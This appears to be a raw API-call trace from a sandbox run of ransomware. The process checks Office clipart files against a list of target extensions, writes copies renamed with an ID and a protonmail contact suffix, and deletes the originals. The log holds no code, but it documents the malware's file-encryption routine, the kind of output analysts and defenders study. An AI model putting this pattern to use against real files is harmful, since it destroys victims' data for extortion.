	[0084.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0084.392] lstrlenW (lpString=".jpg") returned 4
	[0084.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.393] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.393] lstrlenW (lpString="DD01173_.WMF") returned 12
	[0084.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.394] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1804) returned 1
	[0084.394] CloseHandle (hObject=0x394) returned 1
	[0084.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220
	[0084.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0084.394] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.394] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0084.395] GetLastError () returned 0x0
	[0084.395] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x70c, lpOverlapped=0x0) returned 1
	[0084.934] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x710, lpOverlapped=0x0) returned 1
	[0084.957] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.957] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.957] SetEndOfFile (hFile=0x38c) returned 1
	[0084.957] CloseHandle (hObject=0x38c) returned 1
	[0084.957] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.957] SetEndOfFile (hFile=0x394) returned 1
	[0084.958] CloseHandle (hObject=0x394) returned 1
	[0084.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1
	[0085.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.255] lstrlenW (lpString=".doc") returned 4
	[0085.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.255] lstrlenW (lpString=".docx") returned 5
	[0085.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.255] lstrlenW (lpString=".pdf") returned 4
	[0085.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.255] lstrlenW (lpString=".xls") returned 4
	[0085.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.255] lstrlenW (lpString=".xlsx") returned 5
	[0085.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.255] lstrlenW (lpString=".ppt") returned 4
	[0085.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.255] lstrlenW (lpString=".zip") returned 4
	[0085.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.255] lstrlenW (lpString=".rar") returned 4
	[0085.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.255] lstrlenW (lpString=".bz2") returned 4
	[0085.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.255] lstrlenW (lpString=".7z") returned 3
	[0085.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.255] lstrlenW (lpString=".dbf") returned 4
	[0085.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.255] lstrlenW (lpString=".1cd") returned 4
	[0085.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.256] lstrlenW (lpString=".jpg") returned 4
	[0085.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.256] lstrlenW (lpString=".doc") returned 4
	[0085.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString=".docx") returned 5
	[0085.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.256] lstrlenW (lpString=".pdf") returned 4
	[0085.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString=".xls") returned 4
	[0085.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.256] lstrlenW (lpString=".xlsx") returned 5
	[0085.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.256] lstrlenW (lpString=".ppt") returned 4
	[0085.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.256] lstrlenW (lpString=".zip") returned 4
	[0085.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.256] lstrlenW (lpString=".rar") returned 4
	[0085.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString=".bz2") returned 4
	[0085.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString=".7z") returned 3
	[0085.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.256] lstrlenW (lpString=".dbf") returned 4
	[0085.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.256] lstrlenW (lpString=".1cd") returned 4
	[0085.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0085.257] lstrlenW (lpString=".jpg") returned 4
	[0085.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.257] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0085.257] lstrlenW (lpString="DD01630_.WMF") returned 12
	[0085.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.975] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=296) returned 1
	[0085.975] CloseHandle (hObject=0x37c) returned 1
	[0085.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220
	[0085.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.050] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.058] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.073] GetLastError () returned 0x0
	[0086.081] ReadFile (in: hFile=0x2f8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x128, lpOverlapped=0x0) returned 1
	[0086.082] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x130, lpOverlapped=0x0) returned 1
	[0086.082] ReadFile (in: hFile=0x2f8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.082] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.084] SetEndOfFile (hFile=0x388) returned 1
	[0086.084] CloseHandle (hObject=0x388) returned 1
	[0086.084] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.084] SetEndOfFile (hFile=0x2f8) returned 1
	[0086.085] CloseHandle (hObject=0x2f8) returned 1
	[0086.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1
	[0086.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.085] lstrlenW (lpString=".doc") returned 4
	[0086.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.085] lstrlenW (lpString=".docx") returned 5
	[0086.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.085] lstrlenW (lpString=".pdf") returned 4
	[0086.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.085] lstrlenW (lpString=".xls") returned 4
	[0086.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.086] lstrlenW (lpString=".xlsx") returned 5
	[0086.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.086] lstrlenW (lpString=".ppt") returned 4
	[0086.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.086] lstrlenW (lpString=".zip") returned 4
	[0086.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.086] lstrlenW (lpString=".rar") returned 4
	[0086.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString=".bz2") returned 4
	[0086.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString=".7z") returned 3
	[0086.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.086] lstrlenW (lpString=".dbf") returned 4
	[0086.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.086] lstrlenW (lpString=".1cd") returned 4
	[0086.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.086] lstrlenW (lpString=".jpg") returned 4
	[0086.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.086] lstrlenW (lpString=".doc") returned 4
	[0086.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString=".docx") returned 5
	[0086.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.086] lstrlenW (lpString=".pdf") returned 4
	[0086.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.086] lstrlenW (lpString=".xls") returned 4
	[0086.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.087] lstrlenW (lpString=".xlsx") returned 5
	[0086.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.087] lstrlenW (lpString=".ppt") returned 4
	[0086.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.087] lstrlenW (lpString=".zip") returned 4
	[0086.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.087] lstrlenW (lpString=".rar") returned 4
	[0086.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.087] lstrlenW (lpString=".bz2") returned 4
	[0086.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.087] lstrlenW (lpString=".7z") returned 3
	[0086.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.087] lstrlenW (lpString=".dbf") returned 4
	[0086.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.087] lstrlenW (lpString=".1cd") returned 4
	[0086.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0086.087] lstrlenW (lpString=".jpg") returned 4
	[0086.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.087] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.087] lstrlenW (lpString="EN00320_.WMF") returned 12
	[0086.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.089] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=736) returned 1
	[0086.089] CloseHandle (hObject=0x2f8) returned 1
	[0086.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220
	[0086.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0086.090] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.090] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.090] GetLastError () returned 0x0
	[0086.090] ReadFile (in: hFile=0x2f8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x2e0, lpOverlapped=0x0) returned 1
	[0086.092] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x2f0, lpOverlapped=0x0) returned 1
	[0086.093] ReadFile (in: hFile=0x2f8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.093] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.093] SetEndOfFile (hFile=0x388) returned 1
	[0086.093] CloseHandle (hObject=0x388) returned 1
	[0086.094] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.094] SetEndOfFile (hFile=0x2f8) returned 1
	[0086.094] CloseHandle (hObject=0x2f8) returned 1
	[0086.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1
	[0086.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.095] lstrlenW (lpString=".doc") returned 4
	[0086.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.095] lstrlenW (lpString=".docx") returned 5
	[0086.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.095] lstrlenW (lpString=".pdf") returned 4
	[0086.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.095] lstrlenW (lpString=".xls") returned 4
	[0086.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.095] lstrlenW (lpString=".xlsx") returned 5
	[0086.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.095] lstrlenW (lpString=".ppt") returned 4
	[0086.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.095] lstrlenW (lpString=".zip") returned 4
	[0086.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.095] lstrlenW (lpString=".rar") returned 4
	[0086.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.095] lstrlenW (lpString=".bz2") returned 4
	[0086.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.095] lstrlenW (lpString=".7z") returned 3
	[0086.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.096] lstrlenW (lpString=".dbf") returned 4
	[0086.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.096] lstrlenW (lpString=".1cd") returned 4
	[0086.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.096] lstrlenW (lpString=".jpg") returned 4
	[0086.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.096] lstrlenW (lpString=".doc") returned 4
	[0086.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.096] lstrlenW (lpString=".docx") returned 5
	[0086.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.096] lstrlenW (lpString=".pdf") returned 4
	[0086.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.096] lstrlenW (lpString=".xls") returned 4
	[0086.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.096] lstrlenW (lpString=".xlsx") returned 5
	[0086.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.096] lstrlenW (lpString=".ppt") returned 4
	[0086.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.096] lstrlenW (lpString=".zip") returned 4
	[0086.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.097] lstrlenW (lpString=".rar") returned 4
	[0086.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.097] lstrlenW (lpString=".bz2") returned 4
	[0086.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.097] lstrlenW (lpString=".7z") returned 3
	[0086.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.097] lstrlenW (lpString=".dbf") returned 4
	[0086.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
	[0086.097] lstrlenW (lpString=".1cd") returned 4
	[0086.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68
